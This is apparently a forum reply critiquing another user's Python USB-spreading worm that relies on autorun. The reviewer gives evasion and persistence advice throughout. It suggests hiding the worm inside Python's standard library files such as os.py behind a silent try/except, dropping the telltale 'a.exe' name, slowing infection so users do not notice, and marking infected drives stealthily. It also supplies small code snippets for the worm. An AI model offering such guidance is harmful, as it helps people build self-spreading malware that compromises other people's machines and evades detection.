looks nice!
even though usb spreading doesn't work as well these days, it's still a good thing to learn about and still does work sometimes, so it is useful
you seem to know your stuff pretty well
a few thoughts i have:
on crawl(): you'd probably want to append to .py files before you get ahead of yourself and start porting to other languages
however, appending to py files doesn't work as well since it's just kinda self documenting code, which means it's easy for someone to look at and say "this looks fishy".
instead, here's an idea. check for the python lib files where all the default modules are stored, and hide yourself in one (os is a good one to choose) surrounded by a giant try except block so even if some code fails for some reason, the user doesn't see "valueerror in infectdrives()" and panic
# Function used for hiding files (used in autorun.ini exploit)
it's not an exploit, it's just a file that the os checks to see if the drive wants to run anything.
and i don't think you have to specify that it's used there, just do "# hides files"
theDir = os.path.dirname(sys.executable) + "\\a.exe";
this was a little unwieldy, and depended on it being a.exe which probably would set off some alarm bells, so i looked around, and this should work
at top:
from inspect import getsourcefile
from os.path import abspath
replacing that code:
theDir=abspath(getsourcefile(lambda:0))
if adriv == True:
there are some scenarios where you absolutely need it to equal True and True only. this is not one, since all you want is a truthy value. "if adriv:" will work for checking if it's truthy, and "if not adriv:" will work for checking falsy.
also, on driveScan in general:
my opinion: driveScan should not contain your payload. it is called driveScan, it scans drives. that is it's goal.
driveScan should not at the least not include the drive infection function, instead it should only check os.path.isdir and then append the working ones to an array, that another function goes through. (infect(), maybe? ;P) the fact that it does contain drive infection makes changing the script to do what i'm about to say harder:
going through every drive on the system with a 1 second delay between drives and writing to them is, uh, bad. very bad. you want to wait a very long time (think in terms of instead of using a while loop you're using cronstyle scheduling) when you've scanned every drive. you also might want to look into
this. it might be hard to do in python, but it'd make things a lot better. also, don't just write over and over again. try having ways to figure out if you have already touched it (if you want to think even sneakier, try doing that without using if file exists functions)
with those in mind, i have refined your drive scan function for you as a headstart:
def drivescan():
d = []
for l in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
d.append(os.path.isdir(l + ":\\"))
return d
however, really, the most important thing is that you have fun. hacking should be fun, making scripts should be fun.
hope i helped!